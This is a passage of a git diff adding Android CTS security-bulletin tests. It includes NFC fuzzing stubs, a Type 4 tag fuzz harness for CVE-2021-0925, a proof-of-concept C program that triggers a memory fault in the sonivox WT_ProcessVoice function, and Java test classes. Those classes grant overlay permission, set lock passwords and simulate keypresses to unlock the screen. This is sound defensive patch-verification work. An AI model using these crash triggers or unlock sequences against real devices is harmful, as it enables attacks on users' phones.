+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/* 'system/nfc/src/fuzzers/ce/stubs.cc' is used as reference to come up with file */
+
+#include "fuzz_cmn.h"
+
+// These are the functions implemented elsewhere in the NFC code. Our fuzzing
+// doesn't need them. To avoid pulling into more source code we simply stub
+// them out.
+
+tNFA_PROPRIETARY_CFG nfa_proprietary_cfg = {
+ 0x80, /* NCI_PROTOCOL_18092_ACTIVE */
+ 0x81, /* NCI_PROTOCOL_B_PRIME */
+ 0x82, /* NCI_PROTOCOL_DUAL */
+ 0x83, /* NCI_PROTOCOL_15693 */
+ 0x8A, /* NCI_PROTOCOL_KOVIO */
+ 0xFF, /* NCI_PROTOCOL_MIFARE */
+ 0x77, /* NCI_DISCOVERY_TYPE_POLL_KOVIO */
+ 0x74, /* NCI_DISCOVERY_TYPE_POLL_B_PRIME */
+ 0xF4, /* NCI_DISCOVERY_TYPE_LISTEN_B_PRIME */
+};
+
+tNFA_PROPRIETARY_CFG* p_nfa_proprietary_cfg = (tNFA_PROPRIETARY_CFG*)&nfa_proprietary_cfg;
+
+void nfc_start_quick_timer(TIMER_LIST_ENT*, uint16_t, uint32_t) {}
+void nfc_stop_timer(TIMER_LIST_ENT*) {}
+void nfc_stop_quick_timer(TIMER_LIST_ENT*) {}
+uint8_t NFC_GetNCIVersion() {
+ return NCI_VERSION_2_0;
+}
+
+tNFC_STATUS NFC_SendData(uint8_t conn_id, NFC_HDR* p_data) {
+ uint8_t* p = (uint8_t*)(p_data + 1) + p_data->offset;
+ uint8_t len = (uint8_t)p_data->len;
+
+ FUZZLOG("conn_id=%d, data=%s", conn_id, BytesToHex(p, len).c_str());
+ GKI_freebuf(p_data);
+ return NFC_STATUS_OK;
+}
+
+uint8_t nci_snd_t3t_polling(uint16_t system_code, uint8_t rc, uint8_t tsn) {
+ FUZZLOG("sc=%04X, rc=%02X, tsn=%02X", system_code, rc, tsn);
+ return NFC_STATUS_OK;
+}
+
+tNFC_CONN_CBACK* rf_cback = nullptr;
+void NFC_SetStaticRfCback(tNFC_CONN_CBACK* p_cback) {
+ rf_cback = p_cback;
+}
+
+tNFC_STATUS NFC_ISODEPNakPresCheck() {
+ return NFC_STATUS_OK;
+}
+
+std::string NFC_GetStatusName(tNFC_STATUS status) {
+ switch (status) {
+ case NFC_STATUS_OK:
+ return "OK";
+ case NFC_STATUS_REJECTED:
+ return "REJECTED";
+ case NFC_STATUS_MSG_CORRUPTED:
+ return "CORRUPTED";
+ case NFC_STATUS_BUFFER_FULL:
+ return "BUFFER_FULL";
+ case NFC_STATUS_FAILED:
+ return "FAILED";
+ case NFC_STATUS_NOT_INITIALIZED:
+ return "NOT_INITIALIZED";
+ case NFC_STATUS_SYNTAX_ERROR:
+ return "SYNTAX_ERROR";
+ case NFC_STATUS_SEMANTIC_ERROR:
+ return "SEMANTIC_ERROR";
+ case NFC_STATUS_UNKNOWN_GID:
+ return "UNKNOWN_GID";
+ case NFC_STATUS_UNKNOWN_OID:
+ return "UNKNOWN_OID";
+ case NFC_STATUS_INVALID_PARAM:
+ return "INVALID_PARAM";
+ case NFC_STATUS_MSG_SIZE_TOO_BIG:
+ return "MSG_SIZE_TOO_BIG";
+ case NFC_STATUS_ALREADY_STARTED:
+ return "ALREADY_STARTED";
+ case NFC_STATUS_ACTIVATION_FAILED:
+ return "ACTIVATION_FAILED";
+ case NFC_STATUS_TEAR_DOWN:
+ return "TEAR_DOWN";
+ case NFC_STATUS_RF_TRANSMISSION_ERR:
+ return "RF_TRANSMISSION_ERR";
+ case NFC_STATUS_RF_PROTOCOL_ERR:
+ return "RF_PROTOCOL_ERR";
+ case NFC_STATUS_TIMEOUT:
+ return "TIMEOUT";
+ case NFC_STATUS_EE_INTF_ACTIVE_FAIL:
+ return "EE_INTF_ACTIVE_FAIL";
+ case NFC_STATUS_EE_TRANSMISSION_ERR:
+ return "EE_TRANSMISSION_ERR";
+ case NFC_STATUS_EE_PROTOCOL_ERR:
+ return "EE_PROTOCOL_ERR";
+ case NFC_STATUS_EE_TIMEOUT:
+ return "EE_TIMEOUT";
+ case NFC_STATUS_CMD_STARTED:
+ return "CMD_STARTED";
+ case NFC_STATUS_HW_TIMEOUT:
+ return "HW_TIMEOUT";
+ case NFC_STATUS_CONTINUE:
+ return "CONTINUE";
+ case NFC_STATUS_REFUSED:
+ return "REFUSED";
+ case NFC_STATUS_BAD_RESP:
+ return "BAD_RESP";
+ case NFC_STATUS_CMD_NOT_CMPLTD:
+ return "CMD_CMPLTD";
+ case NFC_STATUS_NO_BUFFERS:
+ return "NO_BUFFERS";
+ case NFC_STATUS_WRONG_PROTOCOL:
+ return "WRONG_PROTOCOL";
+ case NFC_STATUS_BUSY:
+ return "BUSY";
+ case NFC_STATUS_LINK_LOSS:
+ return "LINK_LOSS";
+ case NFC_STATUS_BAD_LENGTH:
+ return "BAD_LENGTH";
+ case NFC_STATUS_BAD_HANDLE:
+ return "BAD_HANDLE";
+ case NFC_STATUS_CONGESTED:
+ return "CONGESTED";
+ default:
+ return "UNKNOWN";
+ }
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0925/t4t.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0925/t4t.cpp
new file mode 100644
index 00000000000..5746a9dea8f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0925/t4t.cpp
@@ -0,0 +1,207 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/* 'system/nfc/src/fuzzers/rw/t4t.cc' is used as reference to come up with file */
+
+#include "fuzz.h"
+
+#include "../includes/memutils.h"
+char enable_selective_overload = ENABLE_NONE;
+extern bool testInProgress;
+extern char* vulnPtr;
+
+#define MODULE_NAME "Type4 Read/Write"
+
+enum {
+ SUB_TYPE_DETECT_NDEF,
+ SUB_TYPE_READ_NDEF,
+ SUB_TYPE_UPDATE_NDEF,
+ SUB_TYPE_PRESENCE_CHECK,
+ SUB_TYPE_SET_READ_ONLY,
+ SUB_TYPE_FORMAT_NDEF,
+
+ SUB_TYPE_MAX
+};
+
+static void rw_cback(tRW_EVENT event, tRW_DATA* p_rw_data) {
+ FUZZLOG(MODULE_NAME ": rw_cback: event=0x%02x, p_rw_data=%p", event, p_rw_data);
+
+ if (event == RW_T4T_RAW_FRAME_EVT) {
+ if (p_rw_data->raw_frame.p_data) {
+ GKI_freebuf(p_rw_data->raw_frame.p_data);
+ p_rw_data->raw_frame.p_data = nullptr;
+ }
+ } else if (event == RW_T4T_NDEF_READ_EVT || event == RW_T4T_NDEF_READ_CPLT_EVT) {
+ if (p_rw_data->data.p_data) {
+ GKI_freebuf(p_rw_data->data.p_data);
+ p_rw_data->data.p_data = nullptr;
+ }
+ }
+}
+
+#define TEST_NFCID_VALUE \
+ { 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88 }
+
+static bool Init(Fuzz_Context& /*ctx*/) {
+ tNFC_ACTIVATE_DEVT activate_params = {.protocol = NFC_PROTOCOL_ISO_DEP,
+ .rf_tech_param = {
+ .mode = NFC_DISCOVERY_TYPE_POLL_A,
+ }};
+
+ rw_init();
+ if (NFC_STATUS_OK != RW_SetActivatedTagType(&activate_params, rw_cback)) {
+ FUZZLOG(MODULE_NAME ": RW_SetActivatedTagType failed");
+ return false;
+ }
+
+ return true;
+}
+
+static bool Init_PresenceCheck(Fuzz_Context& /*ctx*/) {
+ return NFC_STATUS_OK == RW_T4tPresenceCheck(1);
+}
+
+static bool Init_DetectNDef(Fuzz_Context& /*ctx*/) {
+ return NFC_STATUS_OK == RW_T4tDetectNDef();
+}
+
+static bool Init_ReadNDef(Fuzz_Context& /*ctx*/) {
+ return NFC_STATUS_OK == RW_T4tReadNDef();
+}
+
+static bool Init_UpdateNDef(Fuzz_Context& ctx) {
+ const uint8_t data[] = {0x01, 0x02, 0x03, 0x04, 0x01, 0x02, 0x03, 0x04,
+ 0x01, 0x02, 0x03, 0x04, 0x01, 0x02, 0x03, 0x04};
+
+ auto scratch = ctx.GetBuffer(sizeof(data), data);
+ return NFC_STATUS_OK == RW_T4tUpdateNDef(sizeof(data), scratch);
+}
+
+static bool Init_FormatNDef(Fuzz_Context& /*ctx*/) {
+ return NFC_STATUS_OK == RW_T4tFormatNDef();
+}
+
+static bool Init_SetNDefReadOnly(Fuzz_Context& /*ctx*/) {
+ return NFC_STATUS_OK == RW_T4tSetNDefReadOnly();
+}
+
+static bool Fuzz_Init(Fuzz_Context& ctx) {
+ if (!Init(ctx)) {
+ FUZZLOG(MODULE_NAME ": initialization failed");
+ return false;
+ }
+
+ bool result = false;
+ switch (ctx.SubType) {
+ case SUB_TYPE_DETECT_NDEF:
+ result = Init_DetectNDef(ctx);
+ break;
+ case SUB_TYPE_UPDATE_NDEF:
+ result = Init_UpdateNDef(ctx);
+ break;
+ case SUB_TYPE_PRESENCE_CHECK:
+ result = Init_PresenceCheck(ctx);
+ break;
+ case SUB_TYPE_READ_NDEF:
+ result = Init_ReadNDef(ctx);
+ break;
+ case SUB_TYPE_FORMAT_NDEF:
+ result = Init_FormatNDef(ctx);
+ break;
+ case SUB_TYPE_SET_READ_ONLY:
+ result = Init_SetNDefReadOnly(ctx);
+ break;
+ default:
+ FUZZLOG(MODULE_NAME ": Unknown command %d", ctx.SubType);
+ result = false;
+ break;
+ }
+
+ if (!result) {
+ FUZZLOG(MODULE_NAME ": Initializing command %02X failed", ctx.SubType);
+ }
+
+ return result;
+}
+
+static void Fuzz_Deinit(Fuzz_Context& /*ctx*/) {
+ if (rf_cback) {
+ tNFC_CONN conn = {.deactivate = {.status = NFC_STATUS_OK,
+ .type = NFC_DEACTIVATE_TYPE_IDLE,
+ .is_ntf = true,
+ .reason = NFC_DEACTIVATE_REASON_DH_REQ_FAILED}};
+
+ rf_cback(NFC_RF_CONN_ID, NFC_DEACTIVATE_CEVT, &conn);
+ }
+}
+
+static void Fuzz_Run(Fuzz_Context& ctx) {
+ for (auto it = ctx.Data.cbegin() + 1; it != ctx.Data.cend(); ++it) {
+ NFC_HDR* p_msg;
+
+ /* CVE-2021-0925 starts */
+ enable_selective_overload = ENABLE_ALL;
+ /* CVE-2021-0925 ends */
+
+ p_msg = (NFC_HDR*)GKI_getbuf(sizeof(NFC_HDR) + it->size());
+
+ /* CVE-2021-0925 starts */
+ vulnPtr = (char*)p_msg;
+ enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
+ /* CVE-2021-0925 ends */
+
+ if (p_msg == nullptr) {
+ FUZZLOG(MODULE_NAME ": GKI_getbuf returns null, size=%zu", it->size());
+ return;
+ }
+
+ /* Initialize NFC_HDR */
+ p_msg->len = it->size();
+ p_msg->offset = 0;
+
+ uint8_t* p = (uint8_t*)(p_msg + 1) + p_msg->offset;
+ memcpy(p, it->data(), it->size());
+
+ tNFC_CONN conn = {.data = {
+ .status = NFC_STATUS_OK,
+ .p_data = p_msg,
+ }};
+
+ FUZZLOG(MODULE_NAME ": SubType=%02X, Response[%zd/%zd]=%s", ctx.SubType,
+ it - ctx.Data.cbegin(), ctx.Data.size() - 1, BytesToHex(*it).c_str());
+
+ /* CVE-2021-0925 starts */
+ testInProgress = true;
+ /* CVE-2021-0925 ends */
+
+ rf_cback(NFC_RF_CONN_ID, NFC_DATA_CEVT, &conn);
+
+ /* CVE-2021-0925 starts */
+ testInProgress = false;
+ /* CVE-2021-0925 ends */
+ }
+}
+
+void Type4_FixPackets(uint8_t /*SubType*/, std::vector<bytes_t>& /*Data*/) {}
+
+void Type4_Fuzz(uint8_t SubType, const std::vector<bytes_t>& Data) {
+ Fuzz_Context ctx(SubType % SUB_TYPE_MAX, Data);
+ if (Fuzz_Init(ctx)) {
+ Fuzz_Run(ctx);
+ }
+
+ Fuzz_Deinit(ctx);
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-6685/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-6685/Android.bp
new file mode 100644
index 00000000000..a48d5b73e1c
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-6685/Android.bp
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2021-6685",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.c",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ include_dirs: [
+ "external/sonivox/arm-wt-22k",
+ ],
+ cflags: [
+ "-Wall",
+ "-Werror",
+ "-DNUM_OUTPUT_CHANNELS=2",
+ "-DDLS_SYNTHESIZER",
+ "-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ "-D_FILTER_ENABLED",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-6685/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2021-6685/poc.c
new file mode 100644
index 00000000000..cf1ba596c63
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-6685/poc.c
@@ -0,0 +1,70 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <dlfcn.h>
+#include <host_src/eas_types.h>
+#include <lib_src/eas_wtengine.h>
+#include <stdbool.h>
+#include <stdlib.h>
+#include <string.h>
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+#define MEM_ALIGNMENT 16
+#define PHASE_INCREMENT 555555
+
+typedef void (*fp_WT_Process_Voice)(S_WT_VOICE *, S_WT_INT_FRAME *);
+char enable_selective_overload = ENABLE_NONE;
+void *libHandle = NULL;
+void *phaseAccumPtr = NULL;
+
+void exit_Handler(void) {
+ if (phaseAccumPtr) {
+ free(phaseAccumPtr);
+ }
+ if (libHandle) {
+ dlclose(libHandle);
+ }
+}
+
+int main() {
+ atexit(exit_Handler);
+ libHandle = dlopen("libsonivox.so", RTLD_NOW | RTLD_LOCAL);
+ FAIL_CHECK(libHandle);
+ fp_WT_Process_Voice functionWTProcessVoice =
+ (fp_WT_Process_Voice)dlsym(libHandle, "WT_ProcessVoice");
+ FAIL_CHECK(functionWTProcessVoice);
+
+ S_WT_VOICE pWTVoice = {};
+ enable_selective_overload = ENABLE_MEMALIGN_CHECK;
+ pWTVoice.phaseAccum = (EAS_U32)memalign(MEM_ALIGNMENT, sizeof(EAS_I16));
+ FAIL_CHECK((void *)pWTVoice.phaseAccum);
+ phaseAccumPtr = ((void *)pWTVoice.phaseAccum);
+ enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
+ pWTVoice.loopEnd = pWTVoice.phaseAccum;
+ pWTVoice.loopStart = pWTVoice.phaseAccum;
+
+ S_WT_INT_FRAME pWTIntFrame = {};
+ pWTIntFrame.frame.phaseIncrement = PHASE_INCREMENT;
+ EAS_PCM pAudioBuffer;
+ EAS_I32 pMixBuffer;
+ pWTIntFrame.pAudioBuffer = &pAudioBuffer;
+ pWTIntFrame.pMixBuffer = &pMixBuffer;
+ pWTIntFrame.numSamples = 1;
+
+ functionWTProcessVoice(&pWTVoice, &pWTIntFrame);
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
index 912ba28a802..c8e8cbfe049 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
@@ -36,6 +36,7 @@ import java.io.OutputStream;
import java.util.concurrent.TimeoutException;
import java.util.List;
import java.util.Map;
+import java.util.regex.Matcher;
import java.util.regex.Pattern;
import java.util.concurrent.TimeUnit;
import java.util.Scanner;
@@ -60,6 +61,12 @@ public class AdbUtils {
final static int TIMEOUT_SEC = 9 * 60;
final static String RESOURCE_ROOT = "/";
+ final static String regexSpecialChars = "<([{\\^-=$!|]})?*+.>";
+ @SuppressWarnings("InvalidPatternSyntax") // the errorprone test is incorrect for the following
+ final static String regexSpecialCharsEscaped = regexSpecialChars.replaceAll(".", "\\\\$0");
+ final static Pattern regexSpecialCharsEscapedPattern =
+ Pattern.compile("[" + regexSpecialCharsEscaped + "]");
+
public static class pocConfig {
String binaryName;
String arguments;
@@ -485,7 +492,7 @@ public class AdbUtils {
*/
public static void runPocAssertExitStatusNotVulnerable(String pocName, String arguments,
ITestDevice device, int timeout) throws Exception {
- runPocGetExitStatus(pocName, arguments, null, device, timeout);
+ runPocAssertExitStatusNotVulnerable(pocName, arguments, null, device, timeout);
}
/**
@@ -751,4 +758,16 @@ public class AdbUtils {
public static void assumeHasNfc(ITestDevice device) throws DeviceNotAvailableException {
assumeTrue("nfc not available on device", device.hasFeature("android.hardware.nfc"));
}
+
+ /**
+ * Escapes regex special characters in the given string
+ *
+ * @param testString string for which special characters need to be escaped
+ *
+ * @return string with escaped special charcters
+ */
+ public static String escapeRegexSpecialChars(String testString) {
+ Matcher m = regexSpecialCharsEscapedPattern.matcher(testString);
+ return m.replaceAll("\\\\$0");
+ }
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java
new file mode 100644
index 00000000000..63a5370188f
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+package android.security.cts;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import android.platform.test.annotations.AsbSecurityTest;
+import org.junit.Test;
+import org.junit.Before;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class Bug_183613671 extends BaseHostJUnit4Test {
+ private static final String TEST_PKG = "android.security.cts.BUG_183613671";
+ private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+ private static final String TEST_APP = "BUG-183613671.apk";
+
+ @Before
+ public void setUp() throws Exception {
+ assumeTrue(
+ "not an Automotive device",
+ getDevice().hasFeature("feature:android.hardware.type.automotive"));
+ uninstallPackage(getDevice(), TEST_PKG);
+ }
+
+ @Test
+ @AsbSecurityTest(cveBugId = 183613671)
+ public void testRunDeviceTestsPassesFull() throws Exception {
+ installPackage(TEST_APP);
+ // Grant permission to draw overlays.
+ getDevice().executeShellCommand(
+ "pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW");
+ getDevice().executeShellCommand("locksettings set-password test1234");
+ assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testTapjacking"));
+
+ getDevice().executeShellCommand("locksettings clear --old test1234");
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9537.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9537.java
new file mode 100644
index 00000000000..df360d0d1d0
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9537.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2018_9537 extends SecurityTestCase {
+
+ /**
+ * b/112891564
+ * Vulnerability Behaviour: SIGSEGV in self (Android P),
+ * SIGABRT in self (Android Q onward)
+ */
+ @AsbSecurityTest(cveBugId = 112891564)
+ @Test
+ public void testPocCVE_2018_9537() throws Exception {
+ String binaryName = "CVE-2018-9537";
+ String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ // example of check crash to skip:
+ // Abort message: 'frameworks/av/media/extractors/mkv/MatroskaExtractor.cpp:548 CHECK(mCluster) failed.'
+ testConfig.config = new CrashUtils.Config()
+ .setProcessPatterns(binaryName)
+ .appendAbortMessageExcludes("CHECK\\(.*?\\)");
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2014.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2014.java
index afc7a2bb65c..e6863ac86a7 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2014.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2014.java
@@ -34,7 +34,7 @@ public class CVE_2019_2014 extends SecurityTestCase {
public void testPocCVE_2019_2014() throws Exception {
pocPusher.only64();
String binaryName = "CVE-2019-2014";
- String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ String signals[] = {CrashUtils.SIGABRT};
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
testConfig.config.setSignals(signals);
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java
index 81e559ae1f0..e5e6810c8fb 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java
@@ -72,9 +72,18 @@ public class CVE_2021_0481 extends BaseHostJUnit4Test {
installPackage();
//ensure the screen is woken up.
- //(we need to do this twice. once wakes up the screen, and another unlocks the lock screen)
- getDevice().executeShellCommand("input keyevent KEYCODE_WAKEUP");
+ //KEYCODE_WAKEUP wakes up the screen
+ //KEYCODE_MENU called twice unlocks the screen (if locked)
+ //Note: (applies to Android 12 only):
+ // KEYCODE_MENU called less than twice doesnot unlock the screen
+ // no matter how many times KEYCODE_HOME is called.
+ // This is likely a timing issue which has to be investigated further
getDevice().executeShellCommand("input keyevent KEYCODE_WAKEUP");
+ getDevice().executeShellCommand("input keyevent KEYCODE_MENU");
+ getDevice().executeShellCommand("input keyevent KEYCODE_HOME");
+ getDevice().executeShellCommand("input keyevent KEYCODE_MENU");
+
+ //run the test
Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testUserPhotoSetUp"));
//Check if TEST_FILE_NAME has been copied by "Evil activity"
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java
index 52e2a3a0e96..34e2ca1ec31 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java
@@ -18,6 +18,7 @@ package android.security.cts;
import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.AsbSecurityTest;
+import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
import org.junit.Assert;
@@ -33,7 +34,12 @@ public class CVE_2021_0586 extends BaseHostJUnit4Test {
@Before
public void setUp() throws Exception {
- uninstallPackage(getDevice(), TEST_PKG);
+ ITestDevice device = getDevice();
+ uninstallPackage(device, TEST_PKG);
+ /* Wake up the screen */
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
}
/**
@@ -46,6 +52,6 @@ public class CVE_2021_0586 extends BaseHostJUnit4Test {
installPackage(TEST_APP);
AdbUtils.runCommandLine("pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW",
getDevice());
- Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testClick"));
+ Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testOverlayButtonPresence"));
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java
new file mode 100644
index 00000000000..f5f6b8b19b0
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0685 extends BaseHostJUnit4Test {
+ private static final String TEST_PKG = "android.security.cts.cve_2021_0685";
+ private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+ private static final String TEST_APP = "CVE-2021-0685.apk";
+
+ @Before
+ public void setUp() throws Exception {
+ uninstallPackage(getDevice(), TEST_PKG);
+ }
+
+ @AppModeFull
+ @AsbSecurityTest(cveBugId = 191055353)
+ @Test
+ public void testPocCVE_2021_0685() throws Exception {
+ installPackage(TEST_APP);
+ Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testPackageElementPresence"));
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0689.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0689.java
new file mode 100644
index 00000000000..666f7918718
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0689.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0689 extends SecurityTestCase {
+
+ /**
